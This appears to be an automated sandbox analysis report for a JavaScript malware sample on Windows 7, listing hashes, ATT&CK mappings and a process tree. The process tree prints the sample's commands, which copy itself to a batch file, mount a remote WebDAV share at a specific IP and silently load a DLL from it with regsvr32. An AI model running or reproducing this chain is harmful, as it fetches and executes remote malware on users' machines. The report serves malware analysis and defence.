86db9cf24cbeff8e6fd7332b618d375361fa436d9b23f713ce363826afb42a3b

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
09/07/2024, 06:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

179711707123379145.js
Size

5KB
MD5

d140448c0eab591ba7aefeac64e719ea
SHA1

3e86afa808a541590ca7dc359de39b029e4202dc
SHA256

86db9cf24cbeff8e6fd7332b618d375361fa436d9b23f713ce363826afb42a3b
SHA512

180e3cd7876dcbd9b991e1e622d0016094537efaccf47cb1aa130edc4681cc60849e17bc529e9bdbf6f73be4a00b2181b3ebcba2f468f99033bd2461e3ae2b1f
SSDEEP

96:gfyfAVXln0/UWWutHFgIopMDYUAXodSkCd5:kZB+/htlgIKMk1VkG

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2656	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2088 wrote to memory of 2360	2088	wscript.exe	30
PID 2088 wrote to memory of 2360	2088	wscript.exe	30
PID 2088 wrote to memory of 2360	2088	wscript.exe	30
PID 2360 wrote to memory of 2852	2360	cmd.exe	32
PID 2360 wrote to memory of 2852	2360	cmd.exe	32
PID 2360 wrote to memory of 2852	2360	cmd.exe	32
PID 2360 wrote to memory of 2656	2360	cmd.exe	33
PID 2360 wrote to memory of 2656	2360	cmd.exe	33
PID 2360 wrote to memory of 2656	2360	cmd.exe	33
PID 2360 wrote to memory of 2656	2360	cmd.exe	33
PID 2360 wrote to memory of 2656	2360	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\179711707123379145.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2088
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\179711707123379145.js" "C:\Users\Admin\\cczujg.bat" && "C:\Users\Admin\\cczujg.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2360
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2852
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\984.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2656

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\cczujg.bat

Filesize
5KB

MD5
d140448c0eab591ba7aefeac64e719ea

SHA1
3e86afa808a541590ca7dc359de39b029e4202dc

SHA256
86db9cf24cbeff8e6fd7332b618d375361fa436d9b23f713ce363826afb42a3b

SHA512
180e3cd7876dcbd9b991e1e622d0016094537efaccf47cb1aa130edc4681cc60849e17bc529e9bdbf6f73be4a00b2181b3ebcba2f468f99033bd2461e3ae2b1f

Download Submit